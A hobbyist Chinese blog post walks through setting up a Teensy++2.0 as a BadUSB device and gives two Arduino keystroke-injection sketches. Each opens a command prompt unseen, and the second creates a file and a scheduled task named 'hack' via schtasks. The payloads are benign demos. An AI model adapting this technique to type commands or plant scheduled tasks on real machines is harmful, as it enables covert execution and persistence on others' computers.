BadUSB —— Teensy++2.0

参考http://bbs.pediy.com/showthread.php?t=213719
前几天发现了BadUSB这个好玩的东西,橡皮鸭和烧鹅都买不起就在某宝上买了个Teensy++2.0
976206-20170302185711829-396227980.png

1.下载Teensyduino。

https://www.pjrc.com/teensy/td_download.html

2.安装Arduino。我这里安装1.8.0

https://pan.baidu.com/s/1b4jPX8#list/path=%2F&parentPath=%2FArduino

3.安装Teensyduino

976206-20170302185741876-1848632419.png

注意红色框起来的是支持的Arduino版本。

4.可以插入Teensy++2.0开始搞事了
976206-20170302185751798-692113424.png

送份代码:
注意:
1.汉化 file->preferences 选择language为简体中文 2.工具里面要选976206-20170302185809063-1923446956.png

代码:

void setup(){ //初始化
  Keyboard.begin();//开始键盘通信
  delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键  
  delay(500);  
  Keyboard.press('r');//按下r键  
  delay(500);  
  Keyboard.release(KEY_LEFT_GUI);//松掉win键  
  Keyboard.release('r');//松掉r键  
  //delay(500);  
  Keyboard.println("cmd");//输入cmd进入DOS
  delay(500);
  Keyboard.press(KEY_RETURN);  //按下回车键
  Keyboard.release(KEY_RETURN); //释放回车键
  delay(500);  
  Keyboard.println("Hello Teensy++2.0"); 
  Keyboard.press(KEY_RETURN);  //按下回车键  
  Keyboard.release(KEY_RETURN); //释放回车键  
  delay(500);  
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键  
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
  delay(500); 
  Keyboard.println("exit");
  Keyboard.press(KEY_RETURN);  //按下回车键  
  Keyboard.release(KEY_RETURN); //释放回车键  
  Keyboard.end();//结束键盘通讯
} 

void loop()//循环,这里的代码
{ 
//循环体 写入你要循环的代码
}

在附一段代码,在21点打开个txt

void setup(){ //初始化
  Keyboard.begin();//开始键盘通信
  delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样 
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键  
  delay(500);  
  Keyboard.press('r');//按下r键  
  delay(500);  
  Keyboard.release(KEY_LEFT_GUI);//松掉win键  
  Keyboard.release('r');//松掉r键  
  //delay(500);  
  Keyboard.println("cmd");//输入cmd进入DOS
  delay(500);
  Keyboard.press(KEY_RETURN);  //按下回车键
  Keyboard.release(KEY_RETURN); //释放回车键
  delay(500);  
  Keyboard.println("D:");
  Keyboard.println("echo I'm back!>a.txt"); 
  Keyboard.println("schtasks /create /tn \"hack\" /tr \"d:a.txt\" /sc once /st 21:12"); 
  Keyboard.press(KEY_RETURN);  //按下回车键  
  Keyboard.release(KEY_RETURN); //释放回车键  
  delay(500);  
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键  
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
  delay(500); 
  Keyboard.println("exit");
  Keyboard.press(KEY_RETURN);  //按下回车键  
  Keyboard.release(KEY_RETURN); //释放回车键  
  Keyboard.end();//结束键盘通讯
} 

void loop()//循环,这里的代码
{ 
//循环体 写入你要循环的代码
}

访问我的蚂蚁笔记博客

转载于:https://www.cnblogs.com/hojun/p/6492064.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值